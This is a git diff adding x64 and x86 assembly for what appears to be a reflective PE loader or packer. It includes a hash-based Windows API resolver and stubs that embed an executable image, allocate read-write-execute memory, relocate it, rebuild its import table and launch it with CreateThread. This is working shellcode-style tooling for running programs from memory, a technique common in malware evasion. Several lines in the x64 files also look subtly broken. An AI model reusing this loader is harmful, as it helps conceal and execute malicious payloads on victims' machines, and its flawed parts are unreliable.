diff --git a/core/x64/ASLR/block_api.asm b/core/x64/ASLR/block_api.asm new file mode 100644 index 0000000..203bc91 --- /dev/null +++ b/core/x64/ASLR/block_api.asm @@ -0,0 +1,113 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2003 +; Architecture: x64 +; Size: 200 bytes +;-----------------------------------------------------------------------------; + +[BITS 64] + +; Windows x64 calling convention: +; http://msdn.microsoft.com/en-us/library/9b372w95.aspx + +; Input: The hash of the API to call in r10d and all its parameters (rcx/rdx/r8/r9/any stack params) +; Output: The return value from the API call will be in RAX. +; Clobbers: RAX, RCX, RDX, R8, R9, R10, R11 +; Un-Clobbered: RBX, RSI, RDI, RBP, R12, R13, R14, R15. +; RSP will be off by -40 hence the 'add rsp, 40' after each call to this function +; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. +; Note: This function is unable to call forwarded exports. + +api_call: + push r9 ; Save the 4th parameter + push r8 ; Save the 3rd parameter + push rdx ; Save the 2nd parameter + push rcx ; Save the 1st parameter + push rsi ; Save RSI + xor rdx, rdx ; Zero rdx + mov rdx, [gs:rdx+96] ; Get a pointer to the PEB + mov rdx, [rdx+24] ; Get PEB->Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name +loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table, + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + cmp word [rax+24], 0x020B ; is this module actually a PE64 executable? + ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and + ; their may be a PE32 module present in the PEB's module list, (typicaly the main module). + ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48]) + jne get_next_mod1 ; if not, proceed to the next module + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... +finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module \ No newline at end of file diff --git a/core/ASLR/iat/iat_api.asm b/core/x64/ASLR/iat/iat_api.asm similarity index 100% rename from core/ASLR/iat/iat_api.asm rename to core/x64/ASLR/iat/iat_api.asm diff --git a/core/ASLR/iat/relocate.asm b/core/x64/ASLR/iat/relocate.asm similarity index 100% rename from core/ASLR/iat/relocate.asm rename to core/x64/ASLR/iat/relocate.asm diff --git a/core/ASLR/iat/BuildImportTable.asm b/core/x64/ASLR/iat/resolve.asm similarity index 100% rename from core/ASLR/iat/BuildImportTable.asm rename to core/x64/ASLR/iat/resolve.asm diff --git a/core/x64/ASLR/iat/stub.asm b/core/x64/ASLR/iat/stub.asm new file mode 100644 index 0000000..8bd0cd4 --- /dev/null +++ b/core/x64/ASLR/iat/stub.asm @@ -0,0 +1,80 @@ +; +; Author: Ege Balcı +; Version: 1.0 + +[BITS 32] +[ORG 0] + cld + call Stub ; ... +PE: + incbin "Mem.map" ; PE file image + ImageSize: equ $-PE ; Size of the PE image +Stub: + pop esi ; Get the address of image to esi + call IAT_API ; + %include "iat_api.asm" ; +IAT_API: ; + pop ebp ; Get the address of hook_api to ebp + push dword 0x40 ; PAGE_EXECUTE_READ_WRITE + push dword 0x103000 ; MEM_COMMI | MEM_TOP_DOWN | MEM_RESERVE + push dword ImageSize ; dwSize + push dword 0x00 ; lpAddress + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + + test eax,eax ; Check success + jz OpEnd ; If VirtualAlloc fails don't bother :/ + push eax ; Save the new base address to stack + call GetAOE ; Get the AOE and image base + %include "relocate.asm" ; Make image base relocation + %include "resolve.asm" ; Call the module responsible for building the import address table + push 0x00000000 ; Push NULL byte string terminator + push 0x6c6c642e ; "lld." + push 0x32336c65 ; "23le" + push 0x6e72656b ; "nrek" + push esp ; Push the address of "kernel32.dll" string + push 0x0726774C ; hash( "kernel32.dll","LoadLibraryA" ) + call ebp ; LoadLibraryA("kernel32.dll") + push 0x00000000 ; Push NULL byte string terminator + push 0x64616572 ; "daer" + push 0x68546574 ; "hTet" + push 0x61657243 ; "aerC" + push esp ; Push the address of "CreateThread" string + push eax ; Push the kernel32.dll handle + push 0x7802F749 ; hash( "kernel32.dll","GetProcAddress" ) + call ebp ; GetProcAddress(HANDLE,"CreateThread") + add esp,0x20 ; Clean the stack + mov [esp+4],eax ; Save the address of CreateThread API to stack + xor ecx,ecx ; Zero out the ECX + call GetAOE ; Get image base and AOE + mov ebx,[esp] ; Copy the address of new base to ebx + add [esp],eax ; Add the AOE value to new base +Memcpy: + mov al,[esi] ; Move 1 byte of PE image to AL register + mov [ebx],al ; Move 1 byte of PE image to image base + inc esi ; Increase PE image index + inc ebx ; Increase image base index + inc ecx ; Decrease loop counter + cmp ecx,ImageSize ; Check if ECX is 0 + jnz Memcpy ; If not loop + mov dword eax,[esp] ; Copy the AOEP to eax +CreateThread: + pop ebx ; Pop back the AOE to ebx + pop ebp ; Pop the address of CreateThread API to EBP + xor eax,eax ; Zero out the eax + push eax ; lpThreadId + push eax ; dwCreationFlags + push eax ; lpParameter + push ebx ; lpStartAddress + push eax ; dwStackSize + push eax ; lpThreadAttributes + call ebp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL ); + jmp OpEnd ; <- +GetAOE: + mov eax,[esi+0x3C] ; Get the offset of "PE" to eax + mov ebx,[eax+esi+0x34] ; Get the image base address to ebx + mov eax,[eax+esi+0x28] ; Get the address of entry point to eax + ret ; <- +OpEnd: + nop ; Chill ;) + jmp OpEnd ; To infinity and beyond ! diff --git a/core/x64/ASLR/relocate.asm b/core/x64/ASLR/relocate.asm new file mode 100644 index 0000000..462b563 --- /dev/null +++ b/core/x64/ASLR/relocate.asm @@ -0,0 +1,63 @@ +; +; Author: Ege Balcı +; Version: 1.0 +; +;#- stub.asm ------------------------------------ +; (RCX/RDX/R8/R9/R10/R11) = function_parameters +; R10D = hash("lib.dll", "function") +; RSI = &PE +; RBP = &block_api.asm +; RBX = pe_image_base +; RDI = new_image_base +; R12 = pe_address_of_entry +; +;#- relocate.asm ------------------------------- +; RCX = &end_of_base_realocation_table +; RDX = base_relocation_delta +; R8 = +; +; + +[BITS 64] +[ORG 0] + + xor r8,r8 ; Zero out the r8 + mov rax,[rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") + mov rcx,[rax+rsi+0xB4] ; Base relocation table size + mov rax,[rax+rsi+0xB0] ; Base relocation table RVA + add rax,rsi ; Base relocation table memory address + add rcx,rax ; End of base relocation table +CalcDelta: + mov rdx,rdi ; Move the new base address to edi + sub rdx,rbx ; Delta value + push dword [rax] ; Reloc RVA + push dword [rax+4] ; Reloc table size + add rax,0x08 ; Move to the reloc descriptor + jmp Fix ; Start fixing +GetRVA: + cmp rcx,rax ; Check if the end of the reloc section ? + jle RelocFin ; If yes goto fin + add rsp,0x08 ; Deallocate old reloc RVA and reloc table size variables + push dword [rax] ; Push new reloc RVA + push dword [rax+4] ; Push new reloc table size + add rax,0x08 ; Move 8 bytes +Fix: + cmp word [rsp],0x08 ; Check if the end of the reloc block + jz GetRVA ; If yes set the next block RVA + mov r8w,word [rax] ; Move the reloc desc to dx + cmp r8w,word 0x00 ; Check if it is a padding word + je Pass + and r8w,0x0FFF ; Get the last 12 bits + add r8,[rsp+4] ; Add block RVA to desc value + add r8,rsi ; Add the start address of the image + add dword [r8],rdi ; Add the delta value to calculated absolute address +Pass: + sub dword [rsp],0x02 ; Decrease the index + add rax,0x02 ; Move to the next reloc desc. + xor r8,r8 ; Zero out edx + jmp Fix ; Loop +RelocFin: + add rsp,0x08 ; Deallocate all vars + + + diff --git a/core/x64/ASLR/resolve.asm b/core/x64/ASLR/resolve.asm new file mode 100644 index 0000000..79bbc17 --- /dev/null +++ b/core/x64/ASLR/resolve.asm @@ -0,0 +1,98 @@ +; +; Author: Ege Balcı +; Version: 1.0 +; +;#- stub.asm ------------------------------------ +; (RCX/RDX/R8/R9/R10/R11) = function_parameters +; R10D = hash("lib.dll", "function") +; RSI = &PE +; RBP = &block_api.asm +; RBX = pe_image_base +; RDI = new_image_base +; R12 = pe_address_of_entry +; +;#- relocate.asm ------------------------------- +; RCX = &end_of_base_realocation_table +; RDX = base_relocation_delta +; R8 = +; +;#- resolve.asm -------------------------------- +; STACK[0] = &_IMPORT_DESCRIPTOR +; R13 = Module HANDLE +; R14 = &IAT +; R15 = &INT +; +; + +[BITS 64] +[ORG 0] + + mov rax,[rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") + mov rax,[rax+rsi+0x90] ; Import table RVA + add rax,rsi ; Import table memory address (first image import descriptor) + push rax ; Save import descriptor to stack +GetDLLs: + cmp dword [rax],0x00 ; Check if the import names table RVA is NULL + jz Complete ; If yes building process is done + mov rax,[rax+0x0C] ; Get RVA of dll name to eax + add rax,rsi ; Get the dll name address + call LoadLibraryA ; Load the library + mov r13,rax ; Move the dll handle to R13 + mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax + call GetProcs ; Resolve all windows API function addresses + add dword [rsp],0x14 ; Move to the next import descriptor + mov rax,[rsp] ; Set the new import descriptor address to eax + jmp GetDLLs +;----------------------------------------------------------------------------------- +GetProcs: + mov r14,dword [rax+0x10] ; Save the current import descriptor IAT RVA + add r14,rsi ; Get the IAT memory address + mov rax,[rax] ; Set the import names table RVA to eax + add rax,rsi ; Get the current import descriptor's import names table address + mov r15,rax ; Save &INT to R15 +Resolve: + cmp dword [rax],0x00 ; Check if end of the import names table + jz AllResolved ; If yes resolving process is done + mov rax,[rax] ; Get the RVA of function hint to eax + cmp rax,0x8000000000000000 ; Check if the high order bit is set + js NameResolve ; If high order bit is not set resolve with INT entry + sub rax,0x800000000000000 ; Zero out the high bit + call GetProcAddress ; Get the API address with hint + jmp InsertIAT ; Insert the address of API tı IAT +NameResolve: + add rax,rsi ; Set the address of function hint + add dword rax,0x02 ; Move to function name + call GetProcAddress ; Get the function address to eax +InsertIAT: + mov rcx,r14 ; Move the IAT address to ecx + mov [rcx],rax ; Insert the function address to IAT + add r14,0x04 ; Increase the import names table index + add r15,0x04 ; Increase the IAT index + mov rax,r15 ; Set the address of import names table address to eax + jmp Resolve ; Loop +AllResolved: + mov rcx,[rsp+4] ; Move the IAT address to ecx + mov dword [rcx],0x00 ; Insert a NULL dword + add rsp,0x08 ; Deallocate index values + pop rcx ; Put back the ecx value + ret ; <- +;----------------------------------------------------------------------------------- +LoadLibraryA: + push rcx ; Save ecx to stack + mov rcx,rax ; Move the address of library name string to RCX + mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call rbp ; LoadLibraryA([esp+4]) + sub rsp,0x28 ; Clear the stack + pop rcx ; Retreive ecx + ret ; <- +;----------------------------------------------------------------------------------- +GetProcAddress: + mov rcx,r13 ; Move the module handle to RCX as first parameter + mov rdx,rax ; Save edx to stack + mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" ) + call rbp ; GetProcAddress(ebx,[esp+4]) + sub rsp,0x28 ; Retrieve ecx + ret ; <- +;----------------------------------------------------------------------------------- +Complete: + pop rax ; Clean out the stack diff --git a/core/x64/ASLR/stub.asm b/core/x64/ASLR/stub.asm new file mode 100644 index 0000000..94af9ca --- /dev/null +++ b/core/x64/ASLR/stub.asm @@ -0,0 +1,73 @@ +; +; Author: Ege Balcı +; Version: 1.0 +; +;#- stub.asm ----------------------------------- +; (RCX/RDX/R8/R9/R10/R11) = function_parameters +; R10D = hash("lib.dll", "function") +; RSI = &PE +; RBP = &block_api.asm +; RBX = pe_image_base +; RDI = new_image_base +; R12 = pe_address_of_entry +; +;#- relocate.asm ------------------------------- +; +; +; +; + +[BITS 64] +[ORG 0] + + cld ; Clear direction flags + call Stub ; Call Stub +PE: + incbin "Mem.map" ; PE file image + ImageSize: equ $-PE ; Size of the PE image +Stub: + pop rsi ; Get the address of image to rsi + call Start ; Call Start + %include "block_api.asm"; +Start: ; + pop rbp ; Get the address of hook_api to rbp + mov r9d,dword 0x40 ; PAGE_EXECUTE_READ_WRITE + mov r8d,dword 0x103000 ; MEM_COMMI | MEM_TOP_DOWN | MEM_RESERVE + mov edx,dword ImageSize ; dwSize + mov ecx,dword 0x00 ; lpAddress + mov r10d,0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call rbp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) + test rax,rax ; Check success + jz OpEnd ; If VirtualAlloc fails don't bother :/ + sub rsp,0x28 ; Clear stack + mov rdi,rax ; Save the new base address to rdi + mov rax,[rsi+0x3C] ; Get the offset of "PE" to eax + mov rbx,[rax+rsi+0x30] ; Get the image base address to rbx + mov r12,[rax+rsi+0x28] ; Get the address of entry point to r12 + %include "relocate.asm" ; Make image base relocation + %include "resolve.asm" ; Call the module responsible for building the import address table + xor rcx,rcx ; Zero out the ECX + mov r13,rdi ; Copy the new base value to rbx + add r13,r12 ; Add the address of entry value to new base address +Memcpy: + mov al,[rsi] ; Move 1 byte of PE image to AL register + mov [rdi],al ; Move 1 byte of PE image to image base + inc rsi ; Increase PE image index + inc rdi ; Increase image base index + inc rcx ; Decrease loop counter + cmp rcx,ImageSize ; Check if ECX is 0 + jnz Memcpy ; If not loop +CreateThread: + xor rax,rax ; Zero out the eax + push rax ; lpThreadId + push rax ; dwCreationFlags + mov r9,rax ; lpParameter + mov r8,r13 ; lpStartAddress + mov rdx,rax ; dwStackSize + mov rcx,rax ; lpThreadAttributes + mov r10d,0x160D6838 ; hash( "kernel32.dll","CreateThread" ) + call rbp ; CreateThread( NULL, 0, &threadstart, NULL, 0, NULL ); + jmp OpEnd ; <- +OpEnd: + nop ; Chill ;) + jmp OpEnd ; To infinity and beyond ! diff --git a/core/x64/ASLR/test.cpp b/core/x64/ASLR/test.cpp new file mode 100644 index 0000000..db68ebd --- /dev/null +++ b/core/x64/ASLR/test.cpp @@ -0,0 +1,34 @@ +/* + * ===================================================================================== + * + * Filename: test.cpp + * + * Description: + * + * Version: 1.0 + * Created: 22-06-2018 15:30:52 + * Revision: none + * Compiler: gcc + * + * Author: YOUR NAME (), + * Organization: + * + * ===================================================================================== + */ +#include + +unsigned char buf[] = { 0x90,0x90,0x90,0x90,0xc3 }; + +int main(){ + void * mem = (void *)VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,0x40); + CreateThread(NULL,0,LPTHREAD_START_ROUTINE(buf),NULL,0,NULL); + + + + HANDLE dll = LoadLibraryA("user32"); + void * proc = (void*)GetProcAddress(HMODULE(dll),"MessageBoxA"); + + + +} + diff --git a/core/x64/ASLR/test.exe b/core/x64/ASLR/test.exe new file mode 100755 index 0000000..e932a0d Binary files /dev/null and b/core/x64/ASLR/test.exe differ diff --git a/core/x64/ASLR/test.id0 b/core/x64/ASLR/test.id0 new file mode 100644 index 0000000..5b56479 Binary files /dev/null and b/core/x64/ASLR/test.id0 differ diff --git a/core/x64/ASLR/test.id1 b/core/x64/ASLR/test.id1 new file mode 100644 index 0000000..1ea72e3 Binary files /dev/null and b/core/x64/ASLR/test.id1 differ diff --git a/core/x64/ASLR/test.id2 b/core/x64/ASLR/test.id2 new file mode 100644 index 0000000..f69b239 Binary files /dev/null and b/core/x64/ASLR/test.id2 differ diff --git a/core/x64/ASLR/test.nam b/core/x64/ASLR/test.nam new file mode 100644 index 0000000..865869e Binary files /dev/null and b/core/x64/ASLR/test.nam differ diff --git a/core/x64/ASLR/test.til b/core/x64/ASLR/test.til new file mode 100644 index 0000000..c04658f Binary files /dev/null and b/core/x64/ASLR/test.til differ diff --git a/core/Fixed/BuildImportTable.asm b/core/x64/Fixed/BuildImportTable.asm similarity index 100% rename from core/Fixed/BuildImportTable.asm rename to core/x64/Fixed/BuildImportTable.asm diff --git a/core/ASLR/block_api.asm b/core/x64/Fixed/block_api.asm similarity index 100% rename from core/ASLR/block_api.asm rename to core/x64/Fixed/block_api.asm diff --git a/core/Fixed/iat/BuildImportTable.asm b/core/x64/Fixed/iat/BuildImportTable.asm similarity index 100% rename from core/Fixed/iat/BuildImportTable.asm rename to core/x64/Fixed/iat/BuildImportTable.asm diff --git a/core/Fixed/iat/iat_api.asm b/core/x64/Fixed/iat/iat_api.asm similarity index 100% rename from core/Fixed/iat/iat_api.asm rename to core/x64/Fixed/iat/iat_api.asm diff --git a/core/Fixed/iat/stub.asm b/core/x64/Fixed/iat/stub.asm similarity index 100% rename from core/Fixed/iat/stub.asm rename to core/x64/Fixed/iat/stub.asm diff --git a/core/Fixed/stub.asm b/core/x64/Fixed/stub.asm similarity index 100% rename from core/Fixed/stub.asm rename to core/x64/Fixed/stub.asm diff --git a/core/RC4.asm b/core/x64/RC4.asm similarity index 100% rename from core/RC4.asm rename to core/x64/RC4.asm diff --git a/core/ASLR/BuildImportTable.asm b/core/x86/ASLR/BuildImportTable.asm similarity index 100% rename from core/ASLR/BuildImportTable.asm rename to core/x86/ASLR/BuildImportTable.asm diff --git a/core/Fixed/block_api.asm b/core/x86/ASLR/block_api.asm similarity index 100% rename from core/Fixed/block_api.asm rename to core/x86/ASLR/block_api.asm diff --git a/core/x86/ASLR/iat/BuildImportTable.asm b/core/x86/ASLR/iat/BuildImportTable.asm new file mode 100644 index 0000000..b37c39c --- /dev/null +++ b/core/x86/ASLR/iat/BuildImportTable.asm @@ -0,0 +1,83 @@ +; +; Author: Ege Balcı +; Version: 1.0 +; + +[BITS 32] +[ORG 0] + +BuildImportTable: + mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") + mov eax,[eax+esi+0x80] ; Import table RVA + add eax,esi ; Import table memory address (first image import descriptor) + push eax ; Save import descriptor to stack +GetDLLs: + cmp dword [eax],0x00 ; Check if the import names table RVA is NULL + jz Complete ; If yes building process is done + mov eax,[eax+0x0C] ; Get RVA of dll name to eax + add eax,esi ; Get the dll name address + call LoadLibraryA ; Load the library + mov ebx,eax ; Move the dll handle to ebx + mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax + call GetProcs ; Resolve all windows API function addresses + add dword [esp],0x14 ; Move to the next import descriptor + mov eax,[esp] ; Set the new import descriptor address to eax + jmp GetDLLs +;----------------------------------------------------------------------------------- +GetProcs: + push ecx ; Save ecx to stack + push dword [eax+0x10] ; Save the current import descriptor IAT RVA + add [esp],esi ; Get the IAT memory address + mov eax,[eax] ; Set the import names table RVA to eax + add eax,esi ; Get the current import descriptor's import names table address + push eax ; Save it to stack +Resolve: + cmp dword [eax],0x00 ; Check if end of the import names table + jz AllResolved ; If yes resolving process is done + mov eax,[eax] ; Get the RVA of function hint to eax + cmp eax,0x80000000 ; Check if the high order bit is set + js NameResolve ; If high order bit is not set resolve with INT entry + sub eax,0x80000000 ; Zero out the high bit + call GetProcAddress ; Get the API address with hint + jmp InsertIAT ; Insert the address of API tı IAT +NameResolve: + add eax,esi ; Set the address of function hint + add dword eax,0x02 ; Move to function name + call GetProcAddress ; Get the function address to eax +InsertIAT: + mov ecx,[esp+4] ; Move the IAT address to ecx + mov [ecx],eax ; Insert the function address to IAT + add dword [esp],0x04 ; Increase the import names table index + add dword [esp+4],0x04 ; Increase the IAT index + mov eax,[esp] ; Set the address of import names table address to eax + jmp Resolve ; Loop +AllResolved: + mov ecx,[esp+4] ; Move the IAT address to ecx + mov dword [ecx],0x00 ; Insert a NULL dword + add esp,0x08 ; Deallocate index values + pop ecx ; Put back the ecx value + ret ; <- +;----------------------------------------------------------------------------------- +LoadLibraryA: + push ecx ; Save ecx to stack + push edx ; Save edx to stack + push eax ; Push the address of linrary name string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA([esp+4]) + pop edx ; Retreive edx + pop ecx ; Retreive ecx + ret ; <- +;----------------------------------------------------------------------------------- +GetProcAddress: + push ecx ; Save ecx to stack + push edx ; Save edx to stack + push eax ; Push the address of proc name string + push ebx ; Push the dll handle + push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" ) + call ebp ; GetProcAddress(ebx,[esp+4]) + pop edx ; Retrieve edx + pop ecx ; Retrieve ecx + ret ; <- +;----------------------------------------------------------------------------------- +Complete: + pop eax ; Clean out the stack diff --git a/core/x86/ASLR/iat/iat_api.asm b/core/x86/ASLR/iat/iat_api.asm new file mode 100644 index 0000000..258b6ea --- /dev/null +++ b/core/x86/ASLR/iat/iat_api.asm @@ -0,0 +1,110 @@ +;-----------------------------------------------------------------------------; +; Author: Ege Balcı +; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4 +; Version: 1.0 (25 January 2018) +; Size: 177 bytes +;-----------------------------------------------------------------------------; + +; This block locates addresses from import address table with given ror(13) hash value. +; Design is inpired from Stephen Fewer's hash api. + +[BITS 32] + +; Input: The hash of the API to call and all its parameters must be pushed onto stack. +; Output: The return value from the API call will be in EAX. +; Clobbers: EAX, EBX, ECX and EDX (NOT !! the normal stdcall calling convention because EBX is clobbered) +; Un-Clobbered: ESI, EDI, ESP and EBP can be expected to remain un-clobbered. +; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. +; Note: This function is unable to call forwarded exports. + +%define ROTATION 0x0D ; Rotation value for ROR hash + +set_essentials: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found) + mov edx,[fs:eax+0x30] ; Get a pointer to the PEB + mov edx,[edx+0x0C] ; Get PEB->Ldr + mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list + mov edx,[edx+0x10] ; Get this modules base address + push edx ; Save the image base to stack (will use this alot) + add edx,[edx+0x3C] ; "PE" Header + mov edx,[edx+0x80] ; Import table RVA + add edx,[esp] ; Address of Import Table + push edx ; Save the &IT to stack (will use this alot) + mov esi,[esp+4] ; Move the image base to ESI + sub esp,0x08 ; Allocate space for import descriptor counter & hash + sub edx,0x14 ; Prepare the import descriptor pointer for processing +next_desc: + add edx,0x14 ; Get the next import descriptor + cmp dword [edx],0x00 ; Check if import descriptor valid + jz not_found ; If import name array RVA is zero finish parsing + mov esi,[esp+0x08] ; Move the import table address to esi + mov si,[edx+0x0C] ; Get pointer to module name string RVA + xor edi,edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi,ROTATION ; Rotate right our hash value + add edi,eax ; Add the next byte of the name + ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte. + test al,al ; Check if we read all + jnz loop_modname + ; We now have the module hash computed + mov [esp+4],edx ; Save the current position in the module list for later + mov [esp],edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov ecx,[edx] ; Get the RVA of import names table + add ecx,[esp+0x0C] ; Add image base and get address of import names table + sub ecx,0x04 ; Go 4 byte back +get_next_func: + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + add ecx,0x04 ; 4 byte forward + cmp dword [ecx],0x00 ; Check if end of INT + jz next_desc ; If no INT present, process the next import descriptor + mov esi,[ecx] ; Get the RVA of func name hint + cmp esi,0x80000000 ; Check if the high order bit is set + jns get_next_func ; If not there is no function name string :( + add esi,[esp+0x0C] ; Add the image base and get the address of function hint + add dword esi,0x02 ; Move 2 bytes forward to asci function name + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash + xor edi,edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + lodsb ; Read in the next byte of the ASCII function name + ror edi,ROTATION ; Rotate right our hash value + add edi,eax ; Add the next byte of the name + cmp al,ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi,[esp] ; Add the current module hash to the function hash + cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT + mov edx,[edx] ; Get the import names table RVA of current import descriptor + add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor + sub ecx,edx ; Find the function array index ? + add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA + add eax,ecx ; Add the function index + ; Now we clean the stack + +; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ebx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + mov eax,[eax] ; Get the add ress of the desired API + call eax ; Call API + push ebx ; Push back the return value + ret ; + ; We now automagically return to the correct caller... +not_found: + add esp,0x0F ; Fix the stack + popad ; Restore all registers + ret ; Return + ; (API is not found) diff --git a/core/x86/ASLR/iat/relocate.asm b/core/x86/ASLR/iat/relocate.asm new file mode 100644 index 0000000..035dcb3 --- /dev/null +++ b/core/x86/ASLR/iat/relocate.asm @@ -0,0 +1,48 @@ +; +; Author: Ege Balcı +; Version: 1.0 + +[BITS 32] +[ORG 0] + + xor edx,edx ; Zero out the edx +Relocate: + mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") + mov ecx,[eax+esi+0xA4] ; Base relocation table size + mov eax,[eax+esi+0xA0] ; Base relocation table RVA + add eax,esi ; Base relocation table memory address + add ecx,eax ; End of base relocation table +CalcDelta: + mov edi,[esp] ; Move the new base address to edi + sub edi,ebx ; Delta value + push dword [eax] ; Reloc RVA + push dword [eax+4] ; Reloc table size + add eax,0x08 ; Move to the reloc descriptor + jmp Fix ; Start fixing +GetRVA: + cmp ecx,eax ; Check if the end of the reloc section ? + jle RelocFin ; If yes goto fin + add esp,0x08 ; Deallocate old reloc RVA and reloc table size variables + push dword [eax] ; Push new reloc RVA + push dword [eax+4] ; Push new reloc table size + add eax,0x08 ; Move 8 bytes +Fix: + cmp word [esp],0x08 ; Check if the end of the reloc block + jz GetRVA ; If yes set the next block RVA + mov dx,word [eax] ; Move the reloc desc to dx + cmp dx,word 0x00 ; Check if it is a padding word + je Pass + and dx,0x0FFF ; Get the last 12 bits + add edx,[esp+4] ; Add block RVA to desc value + add edx,esi ; Add the start address of the image + add dword [edx],edi ; Add the delta value to calculated absolute address +Pass: + sub dword [esp],0x02 ; Decrease the index + add eax,0x02 ; Move to the next reloc desc. + xor edx,edx ; Zero out edx + jmp Fix ; Loop +RelocFin: + add esp,0x08 ; Deallocate all vars + + + diff --git a/core/ASLR/iat/stub.asm b/core/x86/ASLR/iat/stub.asm similarity index 100% rename from core/ASLR/iat/stub.asm rename to core/x86/ASLR/iat/stub.asm diff --git 